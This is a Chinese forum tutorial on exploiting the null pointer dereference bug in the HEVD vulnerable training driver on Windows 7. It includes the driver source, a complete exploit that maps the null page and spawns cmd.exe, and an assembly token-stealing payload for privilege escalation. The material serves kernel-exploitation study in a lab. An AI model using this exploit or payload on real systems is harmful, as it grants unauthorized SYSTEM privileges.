首页
论坛
课程
招聘
[原创]内核漏洞学习[5]-HEVD-NullPointerDereference
2021-11-13 16:26 15589

[原创]内核漏洞学习[5]-HEVD-NullPointerDereference

2021-11-13 16:26
15589

# HEVD-NullPointerDereference

一: 概述

HEVD:漏洞靶场,包含各种Windows内核漏洞的驱动程序项目,在Github上就可以找到该项目,进行相关的学习

 

Releases · hacksysteam/HackSysExtremeVulnerableDriver · GitHub

环境准备:

Windows 7 X86 sp1 虚拟机

使用VirtualKD和windbg双机调试

HEVD 3.0+KmdManager+DubugView

二:前置知识

指针的三种错误使用

  1. 由指针指向的一块动态内存,在利用完后,没有释放内存,导致内存泄露
  2. 野指针(悬浮指针)的使用,在指针指向的内存空间使用完释放后,指针指向的内存空间已经归还给了操作系统,此时的指针成为野指针,在没有对野指针做处理的情况下,有可能对该指针再次利用导致指针引用错误而程序崩溃。
  3. Null Pointer空指针的引用,对于空指针的错误引用往往是由于在引用之前没有对空指针做判断,就直接使用空指针,还有可能把空指针作为一个对象来使用,间接使用对象中的属性或是方法,而引起程序崩溃,空指针的错误使用常见于系统、服务、软件漏洞方面。

总结:

free(p)后:
p仍然指向那块地址,但是地址被释放,回归给系统,指针仍然可以使用,可以利用池喷射,去多次申请内昆空间,撞这个指针p指向的地址,改写这个地址内容,在调用p,执行自己写入的代码
p=NULL 后:
p 不指向任何内存地址,通常指向000 0页地址,通过ntallocvirtualmemory 申请0页地址空间。在0页地址写代码。 调用null指针,执行shellcode

 

使用ntallocvirtualmemory 函数申请内存:

 

NtAllocateVirtualMemory function (ntifs.h) - Windows drivers | Microsoft Docs

三:漏洞点分析

空指针漏洞

 

此类漏洞利用主要集中在两种方式上:

  1. 利用NULL指针。
  2. 利用零页内存分配可用内存空间

(1)分析漏洞点

 

UserValue = *(PULONG)UserBuffer;从用户模式获取value的值,如果uservalue=magicvalue的值,向缓冲区赋值,并打印信息,反之则释放缓冲区,清空指针( NullPointerDereference = NULL;),之后,对于安全版本,对NullPointerDereference进行检查判断其是否被置空,非安全版本,未对NullPointerDereference进行检查判断,直接调用callback,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
NTSTATUS
TriggerNullPointerDereference(
    _In_ PVOID UserBuffer
)
{
    ULONG UserValue = 0;
    ULONG MagicValue = 0xBAD0B0B0;
    NTSTATUS Status = STATUS_SUCCESS;
    PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL;
 
    PAGED_CODE();
 
    __try
    {
        //
        // Verify if the buffer resides in user mode
        //
 
        ProbeForRead(UserBuffer, sizeof(NULL_POINTER_DEREFERENCE), (ULONG)__alignof(UCHAR));
 
        //
        // Allocate Pool chunk
        //
 
        NullPointerDereference = (PNULL_POINTER_DEREFERENCE)ExAllocatePoolWithTag(
            NonPagedPool,
            sizeof(NULL_POINTER_DEREFERENCE),
            (ULONG)POOL_TAG
        );
 
        if (!NullPointerDereference)
        {
            //
            // Unable to allocate Pool chunk
            //
 
            DbgPrint("[-] Unable to allocate Pool chunk\n");
 
            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else
        {
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
            DbgPrint("[+] Pool Size: 0x%X\n", sizeof(NULL_POINTER_DEREFERENCE));
            DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
        }
 
        //
        // Get the value from user mode
        //
 
        UserValue = *(PULONG)UserBuffer;
 
        DbgPrint("[+] UserValue: 0x%p\n", UserValue);
        DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference);
 
        //
        // Validate the magic value
        //
 
        if (UserValue == MagicValue)
        {
            NullPointerDereference->Value = UserValue;
            NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback;
 
            DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Value);
            DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference->Callback);
        }
        else
        {
            DbgPrint("[+] Freeing NullPointerDereference Object\n");
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
 
            //
            // Free the allocated Pool chunk
            //
 
            ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG);
 
            //
            // Set to NULL to avoid dangling pointer
            //
 
            NullPointerDereference = NULL;
        }
 
#ifdef SECURE
        //
        // Secure Note: This is secure because the developer is checking if
        // 'NullPointerDereference' is not NULL before calling the callback function
        //
 
        if (NullPointerDereference)
        {
            NullPointerDereference->Callback();
        }
#else
        DbgPrint("[+] Triggering Null Pointer Dereference\n");
 
        //
        // Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability
        // because the developer is not validating if 'NullPointerDereference' is NULL
        // before calling the callback function
        //
 
        NullPointerDereference->Callback();
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
 
    return Status;
}

四:漏洞利用

HEVD_IOCTL_NULL_POINTER_DEREFERENCE控制码对应的派遣函数NullPointerDereferenceIoctlHandler case

1
2
3
4
5
HEVD_IOCTL_NULL_POINTER_DEREFERENCE:
DbgPrint("****** HEVD_IOCTL_NULL_POINTER_DEREFERENCE ******\n");
Status = NullPointerDereferenceIoctlHandler(Irp, IrpSp);
DbgPrint("****** HEVD_IOCTL_NULL_POINTER_DEREFERENCE ******\n");
break;

NullPointerDereferenceIoctlHandler函数调用TriggerNullPointerDereference触发漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
NTSTATUS
NullPointerDereferenceIoctlHandler(
    _In_ PIRP Irp,
    _In_ PIO_STACK_LOCATION IrpSp
)
{
    PVOID UserBuffer = NULL;
    NTSTATUS Status = STATUS_UNSUCCESSFUL;
 
    UNREFERENCED_PARAMETER(Irp);
    PAGED_CODE();
 
    UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
 
    if (UserBuffer)
    {
        Status = TriggerNullPointerDereference(UserBuffer);
    }
 
    return Status;
}

(1)测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include<stdio.h>
#include<Windows.h>
HANDLE hDevice = NULL;
 
#define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)
int main()
 
{
 
    hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE,
        NULL,
        NULL,
        OPEN_EXISTING,
        NULL,
        NULL
        );
    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
    {
        printf("[-]failed to get device handle !");
        return FALSE;
 
    }
    printf("[+]success to get device  handle");
 
    if (hDevice) {
 
        DWORD bReturn = 0;
        char buf[4] = { 0 };
        *(PDWORD32)(buf) = 0x12345678;
 
        DeviceIoControl(hDevice, HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE, buf, 4, NULL, 0, &bReturn, NULL);
    }
 
 
 
}

当我们传入值与MagicValue值不匹配时,则会触发漏洞

 

在这里插入图片描述

 

因为uservalue=0xBAD0B0B0,所以打印出信息,

 

在这里插入图片描述

 

(2)漏洞利用

 

官方给出的方法也是利用NtAllocateVirtualMemory函数,在0页申请内存,

 

该函数在指定进程的虚拟空间中申请一块内存,该块内存默认将以64kb大小对齐,所以SIZE_T RegionSize = 0x1000;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
BOOL MapNullPage() {
    HMODULE hNtdll;
    SIZE_T RegionSize = 0x1000;            // will be rounded up to the next host
                                           // page size address boundary -> 0x2000
PVOID BaseAddress = (PVOID)0x00000001; // will be rounded down to the next host
                                       // page size address boundary -> 0x00000000
NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
 
hNtdll = GetModuleHandle("ntdll.dll");
 
// Grab the address of NtAllocateVirtualMemory
NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
 
if (!NtAllocateVirtualMemory) {
    DEBUG_ERROR("\t\t[-] Failed Resolving NtAllocateVirtualMemory: 0x%X\n", GetLastError());
    exit(EXIT_FAILURE);
}
 
// Allocate the Virtual memory
NtStatus = NtAllocateVirtualMemory((HANDLE)0xFFFFFFFF,
                                   &BaseAddress,
                                   0,
                                   &RegionSize,
                                   MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
                                   PAGE_EXECUTE_READWRITE);
 
if (NtStatus != STATUS_SUCCESS) {
    DEBUG_ERROR("\t\t\t\t[-] Virtual Memory Allocation Failed: 0x%x\n", NtStatus);
    exit(EXIT_FAILURE);
}
else {
    DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", BaseAddress);
    DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", RegionSize);
}
 
FreeLibrary(hNtdll);
 
return TRUE;

申请成功后,将shellcode地址放入偏移四字节处,因为CallBack成员在结构体的0x4字节处,使传入值与MagicValue值不匹配,触发漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
  ULONG MagicValue = 0xBAADF00D;
 
    PVOID EopPayload = &TokenStealingPayloadWin7Generic;
__try {
        // Get the device handle
        DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n");
        DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName);
 
        hFile = GetDeviceHandle(FileName);
 
        if (hFile == INVALID_HANDLE_VALUE) {
            DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
        else {
            DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile);
        }
 
        DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n");
 
        DEBUG_INFO("\t\t[+] Mapping Null Page\n");
 
        if (!MapNullPage()) {
            DEBUG_ERROR("\t\t[-] Failed Mapping Null Page: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
 
        DEBUG_INFO("\t\t[+] Preparing Null Page Memory Layout\n");
 
        NullPointerPlus4 = (PVOID)((ULONG)NullPageBaseAddress + 0x4);
 
        // Now set the function pointer
        *(PULONG)NullPointerPlus4 = (ULONG)EopPayload;
 
        DEBUG_INFO("\t\t\t[+] NullPage+0x4 Value: 0x%p\n", *(PULONG)NullPointerPlus4);
        DEBUG_INFO("\t\t\t[+] NullPage+0x4 Address: 0x%p\n", NullPointerPlus4);
 
        DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload);
 
        DEBUG_MESSAGE("\t[+] Triggering Null Pointer Dereference\n");
 
        OutputDebugString("****************Kernel Mode****************\n");
 
        DeviceIoControl(hFile,
                        HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE,
                        (LPVOID)&MagicValue,
                        0,
                        NULL,
                        0,
                        &BytesReturned,
                        NULL);
 
        OutputDebugString("****************Kernel Mode****************\n");
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }
 
    return EXIT_SUCCESS;
}

exp,可供参考

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#include<stdio.h>
#include<Windows.h>
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)
 
 
 
typedef NTSTATUS
(WINAPI* NtAllocateVirtualMemory1)(
    IN HANDLE ProcessHandle,
    IN OUT PVOID* BaseAddress,
    IN ULONG ZeroBits,
    IN OUT PULONG RegionSize,
    IN ULONG AllocationType,
    IN ULONG Protect
);
NtAllocateVirtualMemory1 NtAllocateVirtualMemory = NULL;
 
 
HANDLE hDevice = NULL;
 
 
static VOID payload()
{
    _asm
    {
        //.....
    }
}
 
int main()
{
    //获得device  handle
    hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
        GENERIC_READ | GENERIC_WRITE,
        NULL,
        NULL,
        OPEN_EXISTING,
        NULL,
        NULL);
 
    printf("[+]Start to get handle \n");
    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
    {
        printf("[+]Failed to get HANDLE!!!\n");
        system("pause");
        return 0;
    }
    printf("[+]Success to get handle\n");
 
    DWORD aReturn = 0;
    char buf[4] = { 0 };
    *(PDWORD32)(buf) = 0x123456789;//触发漏洞
    //申请0页内存
 
    (FARPROC*)NtAllocateVirtualMemory = GetProcAddress(
        GetModuleHandleW(L"ntdll"),
        "NtAllocateVirtualMemory");
    if (NtAllocateVirtualMemory == NULL)
    {
        printf("[-]Failed to get NtAllocateVirtualMemory address \n");
        system("pause");
        return 0;
    }
    else
    printf("[+]success to get  NtAllocateVirtualMemory address \n");
    PVOID basedaress = (PVOID)1;
    SIZE_T allockSize = 0x1000;
    NTSTATUS status= NtAllocateVirtualMemory(
        INVALID_HANDLE_VALUE,
        &basedaress,
        0,
        &allockSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE);
    if(status<0)
 
    {
        printf("[-]NtAllocateVirtualMemory write failed\n");
        system("pause");
        return 0;
    }
 
    printf("[+]NtAllocateVirtualMemory write success \n");
    *(DWORD*)(0x4) = (DWORD)&payload;
 
 
 
    //调用TriggerNullPointerDereference函数
    DeviceIoControl(hDevice, HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE, buf, 4, NULL, 0, &aReturn, NULL);
    //提权启动cmd
 
    printf("[+]Start to Create cmd...\n");
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
 
    system("pause");
 
    return 0;
}

 

payload功能:遍历进程,得到系统进程的token,把当前进程的token替换,达到提权目的。

 

相关内核结构体:

 

在内核模式下,fs:[0]指向KPCR结构体

1
2
3
4
5
6
7
8
9
10
11
12
_KPCR
+0x120 PrcbData         : _KPRCB
_KPRCB
+0x004 CurrentThread    : Ptr32 _KTHREAD,_KTHREAD指针,这个指针指向_KTHREAD结构体
_KTHREAD
+0x040 ApcState         : _KAPC_STATE
_KAPC_STATE
+0x010 Process          : Ptr32 _KPROCESS,_KPROCESS指针,这个指针指向EPROCESS结构体
_EPROCESS
   +0x0b4 UniqueProcessId  : Ptr32 Void,当前进程ID,系统进程ID=0x04
   +0x0b8 ActiveProcessLinks : _LIST_ENTRY,双向链表,指向下一个进程的ActiveProcessLinks结构体处,通过这个链表我们可以遍历所有进程,以寻找我们需要的进程
   +0x0f8 Token            : _EX_FAST_REF,描述了该进程的安全上下文,同时包含了进程账户相关的身份以及权限

payload:注意堆栈平衡问题。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
  __asm {
        pushad                               ; Save registers state
 
        ; Start of Token Stealing Stub
        xor eax, eax                         ; Set ZERO
        mov eax, fs:[eax + KTHREAD_OFFSET]   ; Get nt!_KPCR.PcrbData.CurrentThread
                                             ; _KTHREAD is located at FS:[0x124]
 
        mov eax, [eax + EPROCESS_OFFSET]     ; Get nt!_KTHREAD.ApcState.Process
 
        mov ecx, eax                         ; Copy current process _EPROCESS structure
 
        mov edx, SYSTEM_PID                  ; WIN 7 SP1 SYSTEM process PID = 0x4
 
        SearchSystemPID:
            mov eax, [eax + FLINK_OFFSET]    ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
            sub eax, FLINK_OFFSET
            cmp [eax + PID_OFFSET], edx      ; Get nt!_EPROCESS.UniqueProcessId
            jne SearchSystemPID
 
        mov edx, [eax + TOKEN_OFFSET]        ; Get SYSTEM process nt!_EPROCESS.Token
        mov [ecx + TOKEN_OFFSET], edx        ; Replace target process nt!_EPROCESS.Token
                                             ; with SYSTEM process nt!_EPROCESS.Token
        ; End of Token Stealing Stub
 
        popad                                ; Restore registers state
    }
}

运行exp提权成功:

 

在这里插入图片描述

 

流程总结:

申请0页内存

将payload放入内存任意位置

并在0x4地址放入payload地址

调用TriggerNullPointerDereference函数

提权启动cmd


恭喜ID[飞翔的猫咪]获看雪安卓应用安全能力认证高级安全工程师!!

最后于 2021-11-13 19:44 被pyikaaaa编辑 ,原因:
收藏
点赞2
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回